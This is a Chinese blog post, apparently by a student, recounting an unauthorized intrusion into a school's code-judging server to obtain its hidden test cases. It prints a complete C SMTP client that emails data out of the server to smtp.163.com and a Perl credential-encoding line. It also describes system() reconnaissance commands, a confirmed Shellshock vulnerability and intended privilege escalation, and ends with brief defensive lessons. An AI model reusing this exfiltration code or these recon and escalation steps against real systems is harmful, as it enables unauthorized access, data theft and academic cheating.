0x00 情况简介

身为安全菜鸟爱好者的笔者本学期有一门课程, 需要提交代码到服务器上然后评测。 可恶的是服务器只会告诉你结果正误,而不返回程序的输出,因此无法通过打印输入的方法来获得测试点信息。 看着绞尽脑汁考虑了无数情况也依旧没过的几个测试点, 我不禁动了拿到测试点的想法,于是……

0x01 屏幕

现在的难题在于获得程序的输出结果。 在动手之前,先尽可能的收集服务器的信息, 这一步也有一些收获。

2.1 收集信息

通过上交了一个包含了math库的c文件,拿到了服务器的反馈——编译错误, 而且其返回信息和gcc几乎一模一样。再看了几道题目, 需要使用math库的题目都明确指出了“本题可以使用math库”, 据此不难判断服务器的系统是*nix类, 且测试系统使用的是gcc。

2.2 搭建屏幕

知道了系统,我开始了下一步行动——搭建屏幕,来获取程序运行信息。 我猜测此服务器是可以与校外外网联通的,因此我决定试试通过邮件获得信息。

由于评测系统的特殊性,限制了必须使用标准库。 百度一下,幸运的查到了一段通过c和socket来发送现成的代码http://blog.csdn.net/coolingcoding/article/details/7339945。 这段代码所需皆是标准库,正好可以拿来一用。而与其对应的操作就是使用telnet链接smtp服务器发送邮件。

我测试用的是163的邮箱,可是不幸的是,163邮箱的smtp服务器似乎不接受STARTTLS方式的认证,必须使用openssl采用SSL加密后认证。 而换了几个国内常见的邮箱,使用STARTTLS方式加密总是出现各种各样的问题,导致上述代码一直不可用。 而使用openssl就会极大的加大代码量和编写难度,我一时陷入了困境。

查了一下smtp服务器常见的认证方式,最常见的是LOGIN和PLAIN两种。 其中LOGIN是分别输入用户名和密码的base64加密后的串, 而PLAIN则是输入'\0username\0passwd'base64后的字符串。 上述代码采用的就是LOGIN方式认证。 而PLAIN模式,由于有转义字符\0,所以需要写一点小代码来生成串。 我使用的是perl

perl -MMIME::Base64 -e 'print encode_base64("\000username\000passwd")'

使用telnet进行测试,奇怪的是,使用LOGIN方式登录总是被服务器拒绝, 但使用PLAIN方式却是成功登录。但不管怎样,我有了通过简单的c来发送邮件的机会。 这里附上最后修改后可以正常使用163邮箱发送邮件的代码:

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>#define EHLO "EHLO ***\r\n" //***为邮箱用户名
#define DATA "data\r\n"
#define QUIT "QUIT\r\n"   int sock;
struct sockaddr_in server;
struct hostent *hp, *getHostByName();
char buf[BUFSIZ+1];
int len;
char *host_id="smtp.163.com";
char *from_id="username@163.com";  // 替换username为你自己的用户名
char *to_id="to_id@to.com";       // 替换to_id为你需要发送的邮箱/*=====Send a string to the socket=====*/
void send_socket(char *s)
{           write(sock,s,strlen(s));
}        //=====Read a string from the socket=====*/
void read_socket()
{  len = read(sock,buf,BUFSIZ);  write(1,buf,len);
}        int sendEmail(char *, char *);
/*=====MAIN=====*/int main(int argc, char* argv[])
{sendEmail("test", "success");
}   int sendEmail(char *sub, char *content)
{/*=====Create Socket=====*/  sock = socket(AF_INET, SOCK_STREAM, 0);       if (sock==-1)       {  perror("opening stream socket");  return 1;     }       else         printf("socket created\n");  /*=====Verify host=====*/  server.sin_family = AF_INET;  hp = gethostbyname(host_id);  if (hp==(struct hostent *) 0)  {  fprintf(stderr, "%s: unknown host\n", host_id);  return 2;  }  /*=====Connect to port 25 on remote host=====*/  memcpy((char *) &server.sin_addr, (char *) hp->h_addr, hp->h_length);                           server.sin_port=htons(25); /* SMTP PORT */  if (connect(sock, (struct sockaddr *) &server, sizeof server)==-1)  {  perror("connecting stream socket");  return 1;  }       else         printf("Connected\n");  /*=====Write some data then read some =====*/  read_socket(); /* SMTP Server logon string */  send_socket(EHLO); /* introduce ourselves */  read_socket(); /*Read reply */  send_socket("AUTH PLAIN youOwnBase64String");  //这里放上你自己生成的串send_socket("\r\n");  read_socket();  send_socket("mail from: <");  send_socket(from_id);  send_socket(">");  send_socket("\r\n");  read_socket(); /* Sender OK */  //send_socket("VRFY ");  //send_socket(from_id);  //send_socket("\r\n");       //read_socket(); // Sender OK */  send_socket("rcpt to: <"); /*Mail to*/  send_socket(to_id);  send_socket(">");  send_socket("\r\n");  read_socket(); // Recipient OK*/
send_socket(DATA);// body to follow*/
    read_socket();   send_socket("from: <username@163.com>\r\n"); //替换为自己的帐号send_socket("to: <to_id@to.com>\r\n"); //替换to_idsend_socket("subject:");  send_socket(sub);  send_socket("\r\n\r\n");  send_socket(content);  send_socket("\r\n.\r\n");  read_socket();  send_socket(QUIT); /* quit */  read_socket(); // log off */  //=====Close socket and finish=====*/
    close(sock);  //exit(0);return 0;
}

这段代码最大的优势在于不需要链接额外的库, 可以轻松的在目标服务器上编译通过并运行。

上传代码,编译通过,成功收到邮件,屏幕搭建成功。

到此为止,我最初拿到测试点的目标已经达成。 后面的动作,可以说是出于我小小的恶趣味吧=_=

2.3 侦查

搭建完屏幕,我开始试着拿到更多的系统信息。 我采用的方法是通过system函数调用系统指令, 并把结果放到某个可以写入的文件中, 再通过读取该文件获得系统反馈并发送邮件的方式。 用代码来说,就是

system("command >> /path/to/file")

通过这种方法,我获得了更多的服务器信息, 比如服务器版本(uname -a)、 运行测试系统的帐号(whoami)、 提交后代码所在的目录(pwd)、 某些目录的目录树(ls -R xx)等等。

获得了这些信息后,发现服务器运行在一个低权限帐号上, 几乎无法做任何进一步的操作。 我想试试提权,可是我所知道的方法(su欺骗、暴力破shadow等)要么是不可行, 要么是会对服务器的正常运行产生很大影响,因此正义而善良的我放弃了动作。 就在我准备放弃时,看着服务器那老旧的版本号,我突然有了灵感,开始了后面的动作……

0x02 提权

我之前猜测,学校的大部分服务器都是疏于更新、跑着一大堆老旧软件的老古董。 而这次侦查验证了我的猜想,服务器里大部分的软件版本号旧的让人叹息。 而后面行动成功的关键,则是bash的版本号——4.1.5。 一查便知,在debian系统中,这个版本的bash恰好会被破壳漏洞所影响。 而测试服务器会运行用户提交代码的特性注定了破壳可以很容易的被利用。

交了一段测试代码,不出所料,破壳存在……

之前关于提权,仅仅是猜想,并未行动。刚在服务器上试了下,发现破壳漏洞和我理解的并不一样,它的利用是一件十分复杂事情。

在未来的一段时间内,我会仔细研究破壳漏洞的利用与防护,等有所收获时再发一文。

0x03 尾声

发现了破壳,之后就是各种测试,一边为了找到更多的利用机会,一边也是为了积累经验。 但是即使成功提权后,我也不会做一些破坏性的事。 毕竟,我所努力的方向,是守护,而不是破坏,虽然破坏有时候,更简单也更有趣。

这是一个菜鸟黑客的第一次入侵。 虽然这个系统本身就是漏洞重重, 可是不可否认,这次行动的基本成功极大的鼓舞了我继续钻研安全的信心。

当然,单纯的沉浸在喜悦里是没有意义的, 我开始思考这次入侵中的得失以及对应的防御。

此次入侵的核心点在于,服务器会不经检查的运行任意用户提交的代码。

本次入侵的第一个难点在于获得服务器反馈,而我的方法就是邮件。但我相信, 一定存在更简单省事的方法来完成这一点,而这个任务的核心就在于tcp ip协议。 所以,在接下来的时间里,我需要了解更多的关于tcpip socket等的东西。

第二个难点则是后面的提权,以及破壳的利用方法。这一部分尚在实验中。

至于防御,限于代码测试服务器的特殊性质,根本不可能禁止用户上传代码。 最简单的做法就是过滤。我想到的过滤方法有二: 一是过滤特殊的标准库,如本次所用代码中使用的sys/socket.h netdb.h netinet/in.h等, 二就是过滤特定函数的使用,如system()函数。

可是,由于c语言的灵活性,简单的过滤几乎一定可以被绕过。更高深的防御方法, 或许需要虚拟化等技术,待我了解更多后会再补充。

最后,这次入侵给我的启示如下:

  1. 服务器管理员一定要关注安全,及时打补丁
  2. 对于一切需要用户输入的地方,一定要小心小心再小心,限制限制再限制
  3. 绝不要想当然,动手后再确定结果

0x04 参考文献及致谢

感谢互联网的发展,让我可以随时查到自己需要的东西。

也感谢那些无私分享自己经验的创作者,正是他们充实了互联网,为后来者提供了便利。

  1. https://qmail.jms1.net/test-auth.shtml 用telnet登录邮箱
  2. http://blog.csdn.net/coolingcoding/article/details/7339945 用c语言发送邮件
  3. http://linxucn.blog.51cto.com/1360306/837365 smtp服务器验证方式

转载于:https://www.cnblogs.com/w0mTea/p/4052883.html

菜鸟的初行动——学校某代码评测服务器攻略战相关推荐

  1. 从菜鸟出发!征服高清详细评测全攻略分页索引

    从菜鸟出发!征服高清详细评测全攻略分页索引 第1页:目录 第2页:高清发展历史与现状 第3页:高清概念初级快速入门-名词解释 第4页:永不妥协的两大蓝光阵营(上) 第5页:永不妥协的两大蓝光阵营(下) ...

  2. DL之AF:机器学习/深度学习中常用的激活函数(sigmoid、softmax等)简介、应用、计算图实现、代码实现详细攻略

    DL之AF:机器学习/深度学习中常用的激活函数(sigmoid.softmax等)简介.应用.计算图实现.代码实现详细攻略 目录 激活函数(Activation functions)相关配图 各个激活 ...

  3. 洪水攻击程序c语言,洪水攻击原理及代码实现全攻略(附源代码)

    下载本文示例代码 推荐:应用程序安全的魔道之争 声明:本文所提供的资料仅仅限于技术交流和学习,请不要用于其他非法目的,维护网络安全是我们的共同责任. 下载本文源代码和例程 一. 什么是洪水攻击 洪水之 ...

  4. Html:网站设计的内容概览简介、网页设计流程/工具/内容组成、脚本代码之详细攻略

    Html:网站设计的内容概览简介.网页设计流程/工具/内容组成.脚本代码之详细攻略 目录 网站设计内容概览 1.申请域名 2.申请域名的企业邮箱 3.虚拟空间

  5. SonarQube代码质量检查工具攻略大全

    前言 随便写写,大家也就随便看看,2020年,争取拿个乒乓球小区冠军. 1 概述 SonarQube是一个开源平台,用于管理源代码得质量.SonarQube不只是一个质量数据报告工具,更是代码质量管理 ...

  6. 《旅行青蛙》的代码揭秘,攻略,体验

    看到很多人对物品的使用上的很多猜测,很多都不是很准确. 为了理解你们的呱究竟在干什么,逆向游戏程序逻辑,提取各种数据. 这里相当于动用了 上帝视角 来解答这些问题. 呱真的在旅行么? 呱是如何选择旅行 ...

  7. 如何在 Win上写 Python 代码?最佳攻略来袭

    在 Windows 上怎样做 Python 开发?是像大神那样使用纯文本编辑器,还是用更加完善的 IDE?到底是用自带的命令行工具,还是需要装新的 Terminal?本文将带你了解如何利用微软官方维护 ...

  8. 情人节python代码_情人节攻略:用Python撒狗粮的正确姿势

    掐指一算, 明天就是情人节了! 还没从春节回家被催婚中回过神来, 明天又到了满世界秀恩爱的情人节, 各位程序员给女朋友准备礼物了吗? python学习交流群:923414804,群内每天分享干货,包括 ...

  9. MySQL InnoDB事务结构体代码变量全攻略(附源码)

    写在前面 ​ InnoDB是MySQL的一个存储引擎,支持事务,支持非堵塞的一致性读,物理存储结构是Page,每个事务都有回滚日志,重做日志,事务还会有死锁检测,各种各样不同的锁等等. 翻看InnoD ...

最新文章

  1. Win7安装VC++6.0已知的兼容性问题的解决方法
  2. HarmonyOS之常用组件Text的功能和使用
  3. 决策树:特征分布空间划分方法
  4. ios基础之 ARC
  5. C++建立队列_利用链表
  6. java连续mysql_java+mysql,频繁连接报错
  7. ROS笔记(4) RoboWare Studio 的安装
  8. Vue.js 第二天: 事件处理
  9. Larry Ellison - 简介
  10. 实习也能这样过!节选
  11. 微信小程序影视评论交流平台系统毕业设计毕设(6)开题答辩PPT
  12. vue 动态设置浏览器标题
  13. CCNet: Criss-Cross Attention for Semantic Segmentation论文阅读
  14. 积木式移动互联网App Hybrid框架-modular
  15. excel表格内容拆分_3个动图,教你学会如何让excel表格自动拆分,学会它,小白变大神...
  16. 生信分析之R语言常用R包一步下载
  17. 精简Cocos2dx-python环境搭建工程创建过程
  18. sql语句order by与group by
  19. 格式工厂-格式转换器(老版本)
  20. pythonarp攻击_《python黑帽子》ARP缓存投毒python3写法(兼容Windows)

热门文章

  1. 运动装企业如何高效打造品牌,拓展业务?
  2. Ubuntu Touch OTA-16(Linux手机测试更新)Arduino+ROS+Python+C++等
  3. OPPO手机如何下载便签里的文件
  4. 安装UOS分区挂载点问题
  5. Linux 域名ping不通
  6. 分享两个下载小助手给你
  7. 【经验分享】怎么关闭烦人的office助手问答智能AI
  8. 利用nise部署单机版cloudfoundry的时候出现ruby错误
  9. Kotlin 协程 (5/7篇) - 响应式编程(冷流) Flow
  10. Educational Codeforces Round 22 E. Army Creation 【主席树】